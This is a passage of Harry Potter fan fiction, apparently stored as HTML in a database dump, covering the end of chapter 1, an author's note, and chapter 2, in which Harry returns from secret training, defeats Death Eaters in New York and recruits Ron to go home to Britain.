style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Why didn\'t\nyou ever tell me?&quot;&nbsp; Margaret\nwouldn\'t have believed him if it weren\'t for the demonstration of apparation he\nhad just shown.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I\'ll explain\nlater.&quot;&nbsp; Ron suddenly motioned for\nquiet.&nbsp; A second later, about thirty men\nin dark black cloaks and masks entered the room.&nbsp; One of them led a crying Peter Chapel into the warehouse, holding\na wand to his throat.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Peter!&quot;\nshouted Margaret.&nbsp; She tried to run to\nhim, but Ron held her back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Ronald\nWeasley,&quot; said one of the masked men.&nbsp;\n&quot;You are hereby under arrest for treason against the Dark\nOrder.&nbsp; Surrender yourself and we will\ntake you into custody back to England.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I\'ll go,\n&quot; said Ron, &quot;only if you let that boy go.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The masked men\nstarted to laugh hysterically.&nbsp; &quot;Do\nnot be absurd, Weasley,&quot; said one of them.&nbsp; &quot;Did you really expect us to pass up a chance to kill\nmuggles?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron swished his\nwand and shouted, <i>&quot;Accio Peter!&quot;</i>&nbsp; The young boy suddenly flew into Margaret\'s arms.&nbsp; They both stared at Ron eyes wide.&nbsp; &quot;RUN!&quot; he shouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret and Peter\ntried to make a dash for the exit.&nbsp;\nBefore they could get there, one of the hooded men shouted <i>&quot;Petrificus\nTotalus!&quot;</i>&nbsp; Margaret and Peter\nboth collapsed to the floor, their bodies frozen solid.&nbsp; If her lips could move, Margaret would\'ve\nscreamed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;Expelliarmus!&quot;</i> shouted Ron.&nbsp;\nHe disarmed one of the masked men and dashed to Margaret and Peter.&nbsp; He hurriedly performed the counter curse,\nand Margaret scrambled to her feet, clutching a very frightened Peter.&nbsp; Before they could move, the masked men\nsurrounded them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;Expelliarmus!&quot;</i> shouted one of the masked men. &nbsp;Ron\'s wand shot out of his hand.&nbsp; &quot;It ends now Weasley,&quot; gloated the\nman while his comrades chuckled.&nbsp;\n&quot;Why not watch us kill the muggles before we kill you.&quot;&nbsp; Margaret and Peter were clutching each\nother, sobbing while Ron stood in front of them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;You\'ll have\nto kill me first before I let you lay a finger on these two, Death Eater,&quot;\nyelled Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The man grinned\nbehind his mask.&nbsp; &quot;Suit\nyourself,&quot; he said.&nbsp; He pointed his\nwand at Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Suddenly, a voice\nwith a strong London accent called out, &quot;Oh come now, surely you don\'t\nwant to kill him first and miss your chance to kill me.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The masked men all\nwhipped around, shocked and surprised.&nbsp;\nBut the most shocked of all was Ron, for he had instantly recognized the\nvoice.&nbsp; &quot;It can\'t be,&quot; he\nmuttered.&nbsp; It was.&nbsp; The voice had come from a young man who was\nleaning against the wall next to the exit, his arms crossed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was Harry\nPotter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N I\'m back!&nbsp; And I\'m better than ever!&nbsp; At least I hope I am.&nbsp; So here\'s the first chapter to my latest\nfic.&nbsp; Is it enjoyable?&nbsp; I sure hope it is because it\'s going to be\nnovel length.&nbsp; So read and review,\nplease.&nbsp; And just sit back and enjoy the\n&quot;Return of the Lion&quot;!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(146, 2, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;Do not weep!\nSee, the Lion of the tribe of Judah, the Root of David, has triumphed. He is\nable to open the scroll and its seven seals.&quot;</i></p>\n\n<i>Revelation 5:5</i>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:right;layout-grid-mode:char" align="right">&nbsp;</p>\n\nChapter 2: The\nHero Returns\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron stared at the\nyoung man leaning against the wall.&nbsp;\nThere was no mistaking his best friend whom he hadn\'t seen in two\nyears.&nbsp; He was tall, about six\nfeet.&nbsp; His emerald green eyes sparkled\nbehind a pair of rimless glasses and his lightning bolt-shaped scar was clearly\nvisible behind his bangs.&nbsp; His raven\nblack hair stuck from underneath a tattered and patched up black hat that\nlooked just like the school Sorting Hat.&nbsp;\nHe wore sleeveless scarlet robes that went down to his knees and was\nheld in shape by a black belt around his waist.&nbsp; An image of a golden lion\'s face was drawn on the torso part of\nthe scarlet robes.&nbsp; Underneath the\nrobes, he wore a white long sleeve shirt that disappeared into a pair of black\ndragon hide gloves.&nbsp; He also wore white\ntrousers that disappeared into black dragon hide boots.&nbsp; He had a black cloak that he wore like a\ncape flowing down his shoulders.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The masked men,\nDeath Eaters stared at the young man in shock.&nbsp;\n&quot;Harry Potter?&quot; demanded one of them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry made a small\nbow and said, &quot;In the flesh.&quot;&nbsp;\nHe straightened up.&nbsp; &quot;I have\na number of questions I need to ask you guys.&nbsp;\nI leave for two years and come back to a world completely\ndifferent.&nbsp; What happened while I was\ngone?&nbsp; And Ron, what are you doing in\nNew York?&quot;&nbsp; Ron was too shocked to\nsay anything.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Death Eaters\nstarted drawing toward Harry, completely forgetting about Ron, Margaret, and\nPeter.&nbsp; &quot;If we can kill the famous\nHarry Potter, than our reward would be that much greater,&quot; said one of\nthem with a chuckle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry simply\nlowered his stance and grinned.&nbsp;\n&quot;Give it your best shot,&quot; he said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Death Eaters\nall fired curses and hexes at Harry.&nbsp;\nHarry simply grinned and deflected all the curses with a shield\ncharm.&nbsp; With lightning fast reflexes,\nHarry leaped forward and made a flying kick into one of the Death Eater\'s\nfaces.&nbsp; He then spun around and\nbackhanded another one.&nbsp; Two more Death\nEaters pounced at Harry but he simply whipped his wand out and yelled, <i>&quot;Expelliarmus!&quot;</i>&nbsp; He placed enough power in the curse to knock\nthem out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">Harry\nleaped forward and placed a drop kick on another Death Eater.&nbsp; He used the momentum of the kick to flip\nover in the air.&nbsp; While in mid flip, he\nflicked his wand and shot out a shock wave that blasted five Death Eaters away.&nbsp; Three more Death Eaters fired curses at him\nbut Harry, with the image of a racket or bat hitting a ball, swung his wand\naround and deflected the curses back to their originators.&nbsp; Harry crouched down and started firing\nstunners and disarming spells at the rest of the Death Eaters, occasionally\nblocking one of their curses.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Another Death\nEater came forward.&nbsp; He started twirling\nhis wand around like a baton making all sorts of fancy moves.&nbsp; After the Death Eater had finished with his\nwand twirling, there was a moment of silence before Harry pointed his wand and\nsaid, <i>&quot;Stupefy,&quot;</i> knocking the Death Eater out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">That left only one\nDeath Eater.&nbsp; Rather than face Harry,\nthe cowardly man grabbed the Cleansweep 7 broomstick that he had on his back\nand fled into the air through a hole in the roof.&nbsp; &quot;Oh no you don\'t!&quot; yelled Harry.&nbsp; He pulled out his Firebolt from beneath his\ncloak, mounted it, and took off after the Death Eater.&nbsp; Harry\'s superior broom soon caught up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was then, that\nRon witnessed an amazing sight.&nbsp; Harry\'s\nhair started to grow thicker and longer.&nbsp;\nHis nails started to change into claws and his robes started to change\ninto golden fur.&nbsp; Within less than a\nsecond, Harry Potter had transformed into a magnificent golden lion with a\nshaggy black mane, emerald eyes, and a scar on his forehead!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron instantly remembered\nthe words of the seer he had met earlier that night:</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;When the\ndark days have come and the serpent rules, there will be a day when light\nenters the world again.&nbsp; For the days of\nthe serpent are numbered and his doom shall be signaled by the return of the\nlion.&nbsp; And the days of darkness will be\nover.&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">\'Harry is the\nlion,\' thought Ron.&nbsp; \'The prophecy was\ntrue.\'</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">With a mighty\nroar, the lion that was Harry pounced on the Death Eater, bringing the\nbroomstick he was riding crashing down.&nbsp;\nAt the last moment, Harry transformed back into his human form and\nperformed a charm that cushioned their fall.&nbsp;\nIn this way, all the Death Eaters were defeated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry studied the\nmotionless forms of the Death Eaters and grinned.&nbsp; &quot;Hmm.&nbsp; Not bad.&nbsp; I was afraid that my wand skills would be a\nlittle rusty but it looks like I\'ve still got what it...&quot; Suddenly, Ron\nran forward and punched Harry\'s cheek as hard as he could!&nbsp; Harry rocked back but held his footing.&nbsp; He stared at Ron with an expression of\nsurprise and bewilderment.&nbsp; Ron looked\nlivid.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Two\nyears!&quot; he yelled.&nbsp; &quot;Two\nbloody years and no word from you!&nbsp;\nWhere the bloody hell have you been?!&nbsp;\nDo you know how much we needed you?&nbsp;\nDo you know how much I needed you?&nbsp;\nOr how much Hermione needed you?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry looked\nsorrowful.&nbsp; &quot;Ron, all I can say is\nthat I\'m sorry.&nbsp; I can explain, but it\nstill doesn\'t warrant my leaving without any word.&nbsp; You have every right to be angry with me.&nbsp; But please, at least hear me out.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron threw his arms\nup looking exasperated.&nbsp; &quot;OK,\nfine.&nbsp; I\'ll hear what you have to\nsay.&nbsp; But we should really get\nback.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The company\nreturned to Margaret\'s apartment.&nbsp;\nLittle Peter had completely forgotten his fear and was awed by Harry\'s\npowers: especially his animagus powers to transform into a lion.&nbsp; Eventually, Margaret put him in bed.&nbsp; Harry also placed a minor memory charm on\nMargaret\'s aunt while Ron repaired the apartment.&nbsp; Soon, there were no traces of the attack in the apartment.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">After everything\nhad been set in order, Harry and Ron sat down and explained everything to\nMargaret.&nbsp; They told her about the\nwizarding world, about Hogwarts School of Witchcraft and Wizardry, and about\nVoldemort.&nbsp; Margaret was a good audience\nwho gasped at all the right places.&nbsp; She\nseemed frightened to find out what the &quot;darkness&quot; that was\nthreatening the world really was.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">After everything\nwas explained to Margaret, Ron turned to Harry.&nbsp; &quot;Alright, explain,&quot; he said with a stern face.&nbsp; Harry sighed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Well to\nbegin with, you remember what happened after the third task of the Triwizard\nTournament, right?&nbsp; That was pretty much\nthe start of things.&nbsp; After Voldemort\'s\n(Ron shuddered at the name) return, Dumbledore wanted full preparation for the\nwar that would inevitably come.&nbsp; So he\ntook me to a special training facility in Tibet during the summer before sixth\nyear.&nbsp; I was trained to become a Battle\nWizard.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron remembered\nthat that was when he had lost contact with Harry.&nbsp; &quot;Why didn\'t you ever tell us?&nbsp; At least you could\'ve written.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry shook his\nhead.&nbsp; &quot;One of the conditions of\ntraining in this facility was that I sever all contact with the outside world\nuntil the end of my training.&nbsp; For two\nyears, Dumbeldore and my other trainers drilled me in all forms of dueling,\nmartial arts, and combat magic.&nbsp; I was\nalso trained to become an animagus as I demonstrated before.&nbsp; Dumbledore stayed behind but he will also\ncome back eventually.&quot;&nbsp; He sighed.&nbsp; &quot;I only found out what happened after I\ncompleted my training about a week ago.&nbsp;\nIf I had known I would\'ve come as fast as I could, training or no\ntraining.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Well you\ndidn\'t know did you?&quot; yelled Ron.&nbsp;\n&quot;While you were gone getting pumped up in the Himalayas, the world\nas we know has changed!&nbsp; You-know-who is\nthe absolute ruler of Europe and is threatening the rest of the world!&nbsp; People are dying by the thousands\neveryday!&nbsp; And I don\'t even know if\nHermione is alive or not!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I know\nRon,&quot; said Harry.&nbsp; &quot;That\'s why\nI want you to come back to Britain with me.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron stared at\nHarry looking shocked.&nbsp;\n&quot;What?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Lets go back\nhome Ron.&nbsp; We can work to bring\nVoldemort down together.&nbsp; That\'s the\nmain reason why I came to New York first before I went back, to bring you\nhome.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron looked\nfrightened.&nbsp; &quot;But...but I abandoned\neveryone.&nbsp; They wouldn\'t welcome me\nback.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;The\ntreatment you get will be no different from mine for not being around the past\ntwo years.&nbsp; If we go back together,\nthings will work out fine.&nbsp; We\'ll defeat\nVoldemort, find Hermione and everything will be back to the way it used to\nbe.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What about\nHermione?&nbsp; We don\'t even know if she\'s\nalive.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh no, she\'s\nalive.&nbsp; That\'s one thing I\'m absolutely\npositive about.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What?&nbsp; How come?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry pulled a\nbracelet from his cloak.&nbsp; It had three\ngems on it, one red, one blue, and one green.&nbsp;\nAll three were giving off a dazzling light.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Before I\nleft for my training,&quot; said Harry.&nbsp;\n&quot;I had this bracelet created as a connection between the three of\nus.&nbsp; The red gem represents you, the\nblue gem represents Hermione, and the green gem represents me.&nbsp; So long, as the gems give off their light, I\nknow that the person it represents is alive.&nbsp;\nIts also through this bracelet that I was able to find you.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;So we can\nuse that bracelet to find Hermione?&quot; asked Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Unfortunately\nno.&nbsp; Hermione is somewhere in Europe and\nthe Dark Magic there is much too powerful to find her exact position.&nbsp; But at least I can see that she\'s alive.&nbsp; Whichever way, we can\'t start looking for\nher until we go back to Britain.&nbsp; So\nRon, will you come with me?&quot;&nbsp; Harry\nstood up, smiled, and offered his hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron stared at\nHarry\'s outstretched hand for a moment.&nbsp;\nFinally, he grinned and said, &quot;You know, I\'m still angry with\nyou.&nbsp; But that doesn\'t mean I don\'t want\nmy best friend back.&quot;&nbsp; Ron grabbed\nHarry\'s hand.&nbsp; &quot;I\'m in mate.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;And I\'m\ngoing with you two,&quot; said Margaret looking determined.&nbsp; Ron faced her looking surprised and angry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh no you\'re\nnot Maggie,&quot; he said.&nbsp; &quot;You\ndon\'t know what you\'re talking about.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Yes I do,\nRon,&quot; said Margaret glaring at him.&nbsp;\n&quot;I am coming with you.&nbsp; And\ndon\'t you dare try to leave me behind.&nbsp;\nI can take care of myself.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh, so a\nmuggle can take care of herself against a bunch of bloodthirsty wizards,&quot;\nsaid Ron sarcastically.&nbsp; &quot;It\'s too\ndangerous for a muggle, Margaret!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Hang on a\nminute,&quot; said Harry.&nbsp; He tossed his\nwand to Margaret who caught it.&nbsp;\n&quot;Say \'lumos\',&quot; said Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" 